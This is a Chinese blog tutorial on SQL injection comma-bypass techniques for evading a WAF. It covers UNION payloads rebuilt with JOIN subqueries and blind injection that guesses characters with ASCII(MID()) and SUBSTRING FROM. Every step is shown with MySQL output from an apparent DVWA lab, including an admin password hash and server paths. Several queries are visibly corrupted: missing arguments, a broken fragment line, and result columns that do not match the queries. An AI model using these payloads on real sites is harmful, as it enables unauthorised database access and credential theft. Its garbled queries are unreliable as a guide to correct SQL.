前言

sql注入在很早很早以前是很常見的一個漏洞。後來隨著安全水平的提高，sql注入已經很少能夠看到了。但是就在今天，還有很多網站帶著sql注入漏洞在執行。下面這篇文章主要介紹了關於SQL注入逗號繞過的相關內容，分享出來供大家參考學習，下面話不多說了，來一起看看詳細的介紹吧

1.聯合查詢顯注繞過逗號

在聯合查詢時使用 UNION SELECT 1,2,3,4,5,6,7..n 這樣的格式爆顯示位，語句中包含了多個逗號，如果有WAF攔截了逗號時，我們的聯合查詢不能用了。

繞過

在顯示位上替換為常見的注入變數或其它語句

union select 1,3;

union select * from ((select 1)A join (select 2)B join (select 3)C）;

union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),@@datadir))C);

在資料庫中演示聯合查詢

UNION開始是我們在URL中注入的語句，這裡只是演示，在實際中如果我們在注入語句中有逗號就可能被攔截

mysql> select user_id,user,password from users union select 1,3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)

不出現逗號，使用Join來注入

mysql> select user_id,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

查詢我們想要的資料

mysql> select user_id,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password   |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | [email protected] dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)

2.盲注中逗號繞過

MID 和substr 函式用於從文字欄位中提取字元

mysql> select mid(user(),1,2);
+-----------------+
| mid(user(),2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)

查詢資料庫使用者名稱第一個字元的ascii碼

mysql> select user_id,password from users union select ascii(mid(user(),2)),3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

盲注，通過猜ascii值

mysql> select user_id,password from users where user_id=1 and (select ascii(mid(user(),2))=115) ;
Empty set

mysql> select user_id,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)

逗號繞過SUBTTRING 函式

substring(str FROM pos)

從字串str的起始位置pos 返回一個子串

mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello  |
+---------------------------+
1 row in set (0.04 sec)

mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello  |
+---------------------------+
1 row in set (0.03 sec)

注入

mysql> select user_id,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2)為o
//o的ascii為111，
mysql> select user_id,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)

總結

以上就是這篇文章的全部內容了，希望本文的內容對大家的學習或者工作具有一定的參考學習價值，如果有疑問大家可以留言交流，謝謝大家對我們的支援。